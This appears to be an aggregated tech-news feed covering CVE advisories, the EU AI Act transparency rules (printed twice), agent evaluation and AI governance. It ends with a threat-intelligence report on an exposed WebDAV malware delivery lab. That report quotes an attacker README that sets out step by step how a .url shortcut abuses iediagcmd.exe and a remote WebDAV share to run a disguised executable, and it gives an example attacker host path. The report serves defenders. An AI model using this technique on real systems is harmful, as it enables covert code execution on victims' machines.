The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.



That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.



Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?



The opportunity in front of us



The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.



Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Bot-Aktivitäten im Web enttarnt
Tue, 21 Jul 2026 08:45:38 +0200
Bot-Aktivitäten im Web enttarnt

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Di., 21.07.2026 - 07:00


            Ein Klick hier, eine Bewegung dort – klingt banal, verrät aber viel. Cloudflare hat mit "Precursor" ein neues Sicherheitswerkzeug vorgestellt, das nicht mehr nur einzelne Zugriffe prüft, sondern ganze Nutzersitzungen beobachtet. Ziel ist es, Bots dort zu enttarnen, wo bisherige Schutzmechanismen an ihre Grenzen stoßen.
      
    
          News
      
  
    Weiterlesen über Bot-Aktivitäten im Web enttarnt
  


Datenklau über Microsoft-365-Kalender
Tue, 21 Jul 2026 08:45:36 +0200
Datenklau über Microsoft-365-Kalender

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Di., 21.07.2026 - 08:30


            Eine neu entdeckte Schadsoftware zeigt, wie kreativ Angreifer inzwischen vorgehen: Statt eigener Server dient ein gewöhnlicher Microsoft-365-Kalender als Kommandozentrale für Spionageoperationen. Sicherheitsforscher haben die Masche jetzt aufgedeckt und erklären, wie sich Unternehmen davor schützen können.
      
    
          News
      
  
    Weiterlesen über Datenklau über Microsoft-365-Kalender
  


CVE-2019-13990 | Oracle Documaker up to 12.6.4 Terracotta Quartz Scheduler xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)
Tue, 21 Jul 2026 04:25:36 +0200
A vulnerability categorized as very critical has been discovered in Oracle Documaker 12.6.0/12.6.1/12.6.2/12.6.3/12.6.4. Affected by this issue is some unknown functionality of the component Terracotta Quartz Scheduler. The manipulation results in xml external entity reference.

This vulnerability was named CVE-2019-13990. The attack may be performed from remote. There is no available exploit.

It is advisable to upgrade the affected component.


CVE-2019-13990 | Oracle Business Intelligence Enterprise Edition 12.2.1.4.0 Framework xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)
Tue, 21 Jul 2026 04:25:33 +0200
A vulnerability labeled as very critical has been found in Oracle Business Intelligence Enterprise Edition 12.2.1.4.0. The impacted element is an unknown function of the component Framework. The manipulation results in xml external entity reference.

This vulnerability is identified as CVE-2019-13990. The attack can be executed remotely. There is not any exploit available.


The EU’s AI transparency deadline is weeks away. Is your enterprise ready?
Tue, 21 Jul 2026 04:02:28 +0200

		
					  
						




Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.



After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”



Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”



Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.



“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”



A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.



Transparency requirements



The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.



“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.



Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.



Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.



AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.



The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.



Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.



However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”



A consistent code of practice



Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.



Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.



Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.



Criteria for compliance 



Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.



B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.



Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.



“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.



Creating a transparency pipeline



Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.



Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.



The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.



“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.



Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”



Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.



His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.



Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.



To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.



“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.



This article originally appeared on CIO.com.



The EU’s AI transparency deadline is weeks away. Is your enterprise ready?
Tue, 21 Jul 2026 03:48:17 +0200

		
					  
						




Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.



After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”



Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”



Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.



“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”



A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.



Transparency requirements



The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.



“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.



Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.



Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.



AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.



The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.



Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.



However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”



A consistent code of practice



Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.



Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.



Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.



Criteria for compliance 



Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.



B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.



Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.



“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.



Creating a transparency pipeline



Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.



Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.



The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.



“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.



Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”



Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.



His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.



Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.



To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.



“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.



CVE-2019-13990 | Oracle Communications Session Route Manager 8.2.0/8.2.1/8.2.2 xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)
Tue, 21 Jul 2026 01:38:24 +0200
A vulnerability identified as critical has been detected in Oracle Communications Session Route Manager 8.2.0/8.2.1/8.2.2. Impacted is an unknown function. The manipulation leads to xml external entity reference.

This vulnerability is referenced as CVE-2019-13990. Remote exploitation of the attack is possible. No exploit is available.

You should upgrade the affected component.


CVE-2019-13990 | Oracle Enterprise Manager Ops Center 12.4.0.0 Agent Provisioning xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)
Tue, 21 Jul 2026 01:38:23 +0200
A vulnerability was found in Oracle Enterprise Manager Ops Center 12.4.0.0 and classified as critical. The impacted element is an unknown function of the component Agent Provisioning. The manipulation results in xml external entity reference.

This vulnerability is cataloged as CVE-2019-13990. The attack may be launched remotely. There is no exploit available.

It is suggested to upgrade the affected component.


CVE-2019-13990 | Oracle Enterprise Manager Base Platform 13.2.1.0 Connector Framework xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)
Tue, 21 Jul 2026 01:38:22 +0200
A vulnerability was found in Oracle Enterprise Manager Base Platform 13.2.1.0. It has been classified as very critical. This vulnerability affects unknown code of the component Connector Framework. The manipulation leads to xml external entity reference.

This vulnerability is referenced as CVE-2019-13990. Remote exploitation of the attack is possible. No exploit is available.

Upgrading the affected component is recommended.


CVE-2019-13990 | Oracle Hyperion Infrastructure Technology 11.1.2.4 Common Security xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)
Tue, 21 Jul 2026 01:38:21 +0200
A vulnerability, which was classified as very critical, has been found in Oracle Hyperion Infrastructure Technology 11.1.2.4. This issue affects some unknown processing of the component Common Security. This manipulation causes xml external entity reference.

This vulnerability is tracked as CVE-2019-13990. The attack is possible to be carried out remotely. No exploit exists.

It is advisable to upgrade the affected component.


CVE-2019-13990 | Oracle JD Edwards EnterpriseOne Orchestrator up to 9.2.5.3 Quartz xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)
Tue, 21 Jul 2026 01:38:19 +0200
A vulnerability, which was classified as very critical, was found in Oracle JD Edwards EnterpriseOne Orchestrator up to 9.2.5.3. Affected by this vulnerability is an unknown functionality of the component Quartz. Executing a manipulation can lead to xml external entity reference.

This vulnerability is handled as CVE-2019-13990. The attack can be executed remotely. There is not any exploit available.

You should upgrade the affected component.


CVE-2019-13990 | Oracle WebCenter Sites 12.2.1.3.0/12.2.1.4.0 Terracotta Quartz Scheduler xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)
Tue, 21 Jul 2026 01:38:18 +0200
A vulnerability described as very critical has been identified in Oracle WebCenter Sites 12.2.1.3.0/12.2.1.4.0. This issue affects some unknown processing of the component Terracotta Quartz Scheduler. Such manipulation leads to xml external entity reference.

This vulnerability is documented as CVE-2019-13990. The attack can be executed remotely. There is not any exploit available.

Upgrading the affected component is recommended.


A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026
Mon, 20 Jul 2026 22:48:13 +0200
A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.
At VB Transform 2026, Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.
Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.
"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."
Evaluation criteria now function as the product spec
That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.
"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."
Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."
Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.
Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.
Why scoring traces one at a time is a mistake
Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.
Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.
Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.
Sizing the judge to the job
Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.
LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.
Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."
LLM-as-judge doesn't mean human-in-the-loop disappears
The bigger question is whether using LLM as a judge removes the need for a human in the loop.
Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.
"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."
Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. 
Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."


AI confidence just dropped 17 points in six months. That’s actually great news.
Mon, 20 Jul 2026 18:03:50 +0200
Presented by JumpCloud
The organizations losing confidence in AI are the ones most likely to get it right.
Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. Today that number is 23%. Before you read that as a setback, consider what it actually reflects.
We recently surveyed 800 IT leaders across the U.S. and U.K. for our Q3 2026 trends report, and the data tells a consistent story: the organizations revising their self-assessment downward are overwhelmingly the ones that have moved AI agents from pilots into production. They’re not losing faith in AI. They’re running into the problems that only show up when agents are doing real work in real systems, and they’re being honest about what they found.
That kind of honesty is harder to come by than it sounds, and it matters more than the confidence number itself.
Deployment was the easy part
84% of organizations plan to expand AI use in IT operations over the next 6 to 24 months, so the drop in confidence isn’t a retreat. What it reflects is a more accurate picture of what production actually requires.
In a pilot, an AI agent does one thing in a controlled setting. In production, it accesses real systems, makes decisions that affect real workflows, and operates continuously, often without a human in the loop. The governance infrastructure that entails is materially different from what it took to get the pilot working. Most organizations built enough to ship. Fewer built enough to scale.
The IT leaders revising their self-assessment are confronting questions they didn’t have to ask at the pilot stage: Can we see every agent running in our environment? Do we know what each one can access? If an agent behaved unexpectedly last week, how long would it take to find out? For most organizations, at least one of those answers is uncomfortable.
The gap between perception and reality is where risk accumulates
The graphic above captures the structural problem. Across confidence, governance, and autonomy, the same pattern holds: deployment is moving faster than the controls built around it.
The organizations that have closed this gap share specific characteristics. They’ve consolidated their IT environments rather than adding tools to solve each new problem, because every additional platform creates another place where agent identity, access, and accountability can go unmanaged. They treat AI agents as governed identities rather than tolerated shadow processes. And they measure what AI actually produces, not just what it deploys.
The payoff is tangible. Organizations in the top tier of our maturity model are five times more likely to report no barriers to expanding their AI agents than the average organization. They are not more cautious about AI. They are more confident in it, because they built the foundation that makes confidence earned rather than assumed.
The governance gap has a specific shape
The hardest problem in enterprise AI right now is not capability. It is accountability, and the data makes the specific failure point clear: non-human identity governance is the least adopted AI security practice we measured, in place at just 21% of organizations.
Non-human identities now outnumber human users in 83% of organizations, and that population is growing fast. Yet most of those identities exist without the governance structures that every human employee has as a matter of course: no formal record, no named owner, no defined scope of access, no offboarding process when their purpose expires. They keep running. They keep accessing systems. They keep accumulating permissions. We call these Zombie Agents, and they are the service account problem of the AI era, operating at machine speed and in every department.
The accountability gap is where real risk lives. When a human employee takes an action, there is an implicit accountability chain. When an autonomous agent takes an action, that chain breaks unless it has been deliberately engineered. Most organizations have not yet engineered it, and the gap between the autonomy agents are being granted and the oversight structures in place to manage them is widening every month.
What the confidence drop is actually telling us
When AI maturity confidence was uniformly high across the market, that was worth worrying about. It meant most organizations hadn’t yet run into the hard parts. A selective drop, concentrated among organizations actively running agents in production, means the market is developing a more accurate picture of what AI operations genuinely require.
The organizations recalibrating are doing the work that makes long-term AI adoption possible: building identity infrastructure that covers agents alongside humans and devices, unifying the environments where governance needs to apply, and measuring outcomes rather than just counting deployments. They haven’t lowered their ambitions for AI. They have raised their standards for what it means to run it responsibly.
84% of organizations plan to expand AI use over the next two years. The ones that will do it well are honest enough, right now, to admit what they haven’t yet built.
JumpCloud’s Q3 2026 AI Readiness Research report (n=800 IT leaders, U.S. + U.K.) is available here. The report covers AI agent deployment stages, identity governance gaps, IT unification benchmarks, and budget realism across mid-market and enterprise organizations.
Rajat Bhargava is CEO and Co-founder at JumpCloud.
Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.


From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab
Mon, 20 Jul 2026 15:53:12 +0200
Executive summary
An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.
Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.
This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.
Introduction: From MDR alert to attacker infrastructure
The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.
That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.
At a high level, the 1,048 files clustered as follows:
Category Files Functions and discoveries
LNK delivery launchers 453 Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths
Filename-spoofing QA 236 Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior
URL/LOLBin execution tests 146 Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution
Encrypted droppers 89 Staged second-stage payloads and installer-style packages
Alternative execution containers 24 search-ms, library-ms, .cpl, and related delivery containers
Payload stubs and spoofed executables 21 Smaller loaders, decoys, and renamed binaries
WebDAV scripts 17 Scripts intended to make WebDAV delivery more reliable on Windows systems
Builder and operator notes 10 README files, test reports, mappings, and generation scripts
ClickFix HTML lures 9 Browser-based social-engineering pages instructing users to run commands
Miscellaneous files 6 Included documentation for the actor’s WebDAV delivery/admin panel
Table 1: Breakdown of files recovered from the attacker’s delivery workspace
Technical analysis and observed attacker behavior
Attackers testing like a product team
The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.
The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.
Figure 1: Snippet of one of many subfolders containing testing files.
⠀
Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.
CVE Observed samples Short description
CVE-2025-33053 11 Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)
CVE-2026-21513 4 MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)
CVE-2025-24054 1 Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)
Table 2: CVE references observed in the exposed directory.
The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.
The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.
CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
